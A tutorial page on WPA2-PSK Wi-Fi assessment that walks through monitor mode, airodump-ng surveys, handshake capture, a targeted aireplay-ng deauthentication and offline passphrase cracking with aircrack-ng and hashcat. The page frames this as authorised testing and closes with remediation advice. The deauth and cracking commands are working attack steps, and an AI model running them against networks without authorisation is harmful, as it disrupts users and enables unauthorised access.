Skip to content

Intermediate 20 minUpdated 2026-11-06

Wi-Fi assessment basics

This guide covers the fundamental WPA2-PSK assessment loop: put an adapter into monitor mode, find the target network, capture a handshake and test the passphrase offline. You need a wireless adapter that supports monitor mode and injection, and written permission for the network you are testing.

  1. Enable monitor mode

    Switch your adapter from managed to monitor mode so it can capture raw 802.11 frames. Stop any processes that would interfere.

    • sudo airmon-ng check kill

      Stop network managers that disrupt capture.

    • sudo airmon-ng start wlan0

      Put the adapter into monitor mode (becomes wlan0mon).

    All 55 airmon-ng commands
  2. Survey the airspace

    List nearby networks and clients to identify your target’s channel and BSSID.

    • sudo airodump-ng wlan0mon

      Scan all channels; note the target BSSID and channel.

    All 60 airodump-ng commands
  3. Capture the handshake

    Lock onto the target channel and capture traffic. You need a client to authenticate while you are listening.

    • sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

      Focus on one network and write the capture to disk.

    All 60 airodump-ng commands
  4. Force a reconnect (optional)

    If no client authenticates on its own, a targeted deauthentication makes one reconnect, producing the handshake. Use sparingly and only in scope.

    • sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

      Send a few deauth frames to one client to trigger a reconnect.

    All 55 aireplay-ng commands
  5. Crack the passphrase

    With a captured handshake, test it against a wordlist offline. hashcat on a GPU is far faster than aircrack-ng for large lists.

    • aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

      Dictionary attack with aircrack-ng.

    • hcxpcapngtool -o hash.hc22000 capture-01.cap && hashcat -m 22000 hash.hc22000 rockyou.txt

      Convert and crack on a GPU with hashcat.

    All 80 Aircrack-ng commands
  6. Restore the adapter

    Return the adapter to managed mode and restart networking when you are done.

    • sudo airmon-ng stop wlan0mon

      Leave monitor mode.

    • sudo systemctl restart NetworkManager

      Bring normal networking back.

    All 55 airmon-ng commands

A cracked passphrase demonstrates weak PSK selection; report it with a recommendation for a long, random passphrase or a move to WPA3 / 802.1X. Never test networks you do not have explicit permission to assess.